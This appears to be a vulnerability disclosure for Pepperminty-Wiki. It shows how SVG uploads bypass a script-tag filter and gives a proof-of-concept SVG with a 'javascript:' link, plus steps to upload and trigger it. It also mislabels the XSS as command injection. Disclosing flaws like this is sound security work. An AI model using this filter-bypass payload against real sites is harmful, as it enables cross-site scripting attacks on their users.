Unrestricted Upload of File with Dangerous Type allows javascript injection

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker to inject javascript code via SVG uploads.

https://github.com/sbrl/Pepperminty-Wiki is vulnerable to command injection as shown below:

Proof of Concept

Pepperminty-wiki allows to upload SVG files, and perform security checks to avoid code injection.
However this checks can be bypassed.
Variable: $temp_filename
Snippet:

function upload_check_svg($temp_filename)
{
    global $settings;
    // Check for script tags
    if(strpos(file_get_contents($temp_filename), "<script") !== false)

Payload

Install pepermint release index.php and login.

Create a file image.svg with the following content:

<?xml version="1.0" standalone="no"?>
<svg viewBox="100 100 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(/XSS/)">
    <circle cx="0" cy="0" r="300"/>
  </a>
</svg>

Goto http://localhost/Pepperminty-Wiki/index.php?action=upload and upload the image.
Visit http://localhost/Pepperminty-Wiki/Files/image.svg and clic the image. Observe the XSS via the file upload

Impact

The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.